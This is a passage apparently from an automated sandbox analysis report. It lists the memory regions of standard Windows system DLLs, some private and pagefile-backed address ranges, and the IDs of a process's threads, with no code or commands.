	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 3106
	        start_va = 0x7fefc830000
	          end_va = 0x7fefc884fff
	     entry_point = 0x7fefc830000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 3107
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3108
	        start_va = 0x7fefcac0000
	          end_va = 0x7fefcb2cfff
	     entry_point = 0x7fefcac0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 3109
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce3afff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 3110
	        start_va = 0x7fefce60000
	          end_va = 0x7fefce84fff
	     entry_point = 0x7fefce60000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 3111
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3112
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf7cfff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 3113
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 3114
	        start_va = 0x7fefcfa0000
	          end_va = 0x7fefcfaefff
	     entry_point = 0x7fefcfa0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3115
	        start_va = 0x7fefd040000
	          end_va = 0x7fefd04efff
	     entry_point = 0x7fefd040000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 3116
	        start_va = 0x7fefd050000
	          end_va = 0x7fefd085fff
	     entry_point = 0x7fefd050000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 3117
	        start_va = 0x7fefd090000
	          end_va = 0x7fefd0a9fff
	     entry_point = 0x7fefd090000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 3118
	        start_va = 0x7fefd0b0000
	          end_va = 0x7fefd0e9fff
	     entry_point = 0x7fefd0b0000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 3119
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3120
	        start_va = 0x7fefd160000
	          end_va = 0x7fefd2c6fff
	     entry_point = 0x7fefd160000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 3121
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3122
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 3123
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3124
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3125
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3126
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 3127
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3128
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 3129
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 3130
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3131
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 3132
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3133
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3134
	        start_va = 0x7fefeff0000
	          end_va = 0x7feff060fff
	     entry_point = 0x7fefeff0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 3135
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 3136
	        start_va = 0x7feff0a0000
	          end_va = 0x7feff276fff
	     entry_point = 0x7feff0a0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 3137
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 3138
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 3139
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 3140
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 3141
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 3142
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 3143
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 3144
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 3145
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 3146
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 3147
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 3148
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 3149
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 3150
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 3151
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 3152
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 3153
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 3154
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 3155
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 3156
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 3157
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 3158
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 3159
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""


Thread:
	id = 285
	os_tid = 0x7bc


Thread:
	id = 286
	os_tid = 0x648


Thread:
	id = 287
	os_tid = 0x7a8


Thread:
	id = 288
	os_tid = 0x5f0


Thread:
	id = 289
	os_tid = 0x710


Thread:
	id = 290
	os_tid = 0x6cc


Thread:
	id = 291
	os_tid = 0x6c8


Thread:
	id = 292
	os_tid = 0x6c4


Thread:
	id = 293
	os_tid = 0x604


Thread:
	id = 294
	os_tid = 0xfc


Thread:
	id = 295
	os_tid = 0x280


Thread:
	id = 296
	os_tid = 0x200


Thread:
	id = 297
	os_tid = 0x1d4


Thread:
	id = 298
	os_tid = 0x398


Thread:
	id = 299
	os_tid = 0x390


Thread:
	id = 300
	os_tid = 0x380


Thread:
	id = 301
	os_tid = 0x314


Thread:
	id = 302
	os_tid = 0x310


Thread:
	id = 303
	os_tid = 0x2b0


Thread:
	id = 304
	os_tid = 0x2a8


Thread:
	id = 305
	os_tid = 0x7ec


Thread:
	id = 311
	os_tid = 0x538


Thread:
	id = 312
	os_tid = 0x4c0


Thread:
	id = 316
	os_tid = 0x11c


Thread:
	id = 317
	os_tid = 0x2e4


Thread:
	id = 319
	os_tid = 0x730


Thread:
	id = 325
	os_tid = 0x7cc